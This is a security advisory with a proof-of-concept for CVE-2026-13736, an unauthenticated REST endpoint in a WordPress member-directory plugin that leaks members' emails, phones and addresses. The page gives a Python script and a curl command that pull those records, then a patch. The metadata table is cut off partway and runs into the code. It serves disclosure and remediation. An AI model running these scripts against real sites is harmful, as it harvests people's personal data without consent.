## https://sploitus.com/exploit?id=5DE507B5-CA38-5DCE-A852-3CAF27A15138
# CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory **Quick Links:** Explore the researcher's official [Cybersecurity Portfolio](https://minhhk.web.app/#writeups) or view the official [WPScan Advisory](https://wpscan.com/vulnerability/97fe9780-ad69-4f36-9496-5ca9c0e2bc39/).
---
## 📌 Executive Summary & Technical Metadata
| Parameter | Technical Specification |
| :--- | :--- |
| **Vulnerability Identifier** | `CVE-2026-13736` |
| **Target Software** | NewPath WildApricotPress Add-on – Member Directory (WordPress Plugin) |
| **Plugin Slug** | `newpath-wildapricotpress-add-on-member-directory` |
| **Vulnerable Versions** | ` WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
```
### Technical Flaw Mechanism
1. **Open Permission Callback:** The route declares `'permission_callback' => '__return_true'`, allowing unauthenticated HTTP GET requests from any origin.
2. **Missing Field-Level Privacy Filtering:** While the frontend JavaScript or template conditionally hides fields configured as "Members Only", the backend REST API serializes the entire member dataset into JSON.
3. **Information Disclosure (PII):** Attackers bypassing the frontend UI can directly consume the raw JSON payload to harvest complete databases of member names, personal phone numbers, business emails, membership statuses, and private addresses.
---
## 💻 Proof-of-Concept (PoC) Exploit Code
> **Ethical Disclaimer:** This Proof-of-Concept is provided strictly for vulnerability verification, defensive research, and responsible disclosure by security researcher Huynh Kien Minh.
### Automated Python Audit Script (`poc_cve_2026_13736.py`)
```python
#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
```
### cURL Verification Command
```bash
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
```
---
## 🛡️ Remediation & Defensive Engineering
### For Site Administrators
1. **Plugin Update:** Upgrade `NewPath WildApricotPress Add-on – Member Directory` to the latest patched version (> 1.0.0).
2. **REST API Access Hardening:** If public directory browsing is not required for anonymous users, restrict the custom REST route using WordPress security plugins or web server rules.
### For Developers (The Patch)
Enforce field-level privacy checks during response serialization:
```php
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
```
---
## 🏆 About the Researcher
**Huynh Kien Minh (MinhHK)** is an Information Security Researcher and Software Engineer specializing in WordPress core & plugin auditing, REST API vulnerability assessments, and responsible disclosure across the global open-source ecosystem.
- **Cybersecurity Portfolio:** [https://minhhk.web.app/](https://minhhk.web.app/)
- **WPScan Advisory Reference:** [WPScan Report 97fe9780-ad69-4f36-9496-5ca9c0e2bc39](https://wpscan.com/vulnerability/97fe9780-ad69-4f36-9496-5ca9c0e2bc39/)
- **NVD Reference:** [CVE-2026-13736 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-13736)
- **GitHub Profile:** [https://github.com/MinhHK68](https://github.com/MinhHK68)
---
## 📊 JSON-LD Structured Data Schema Markup
```json
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}
```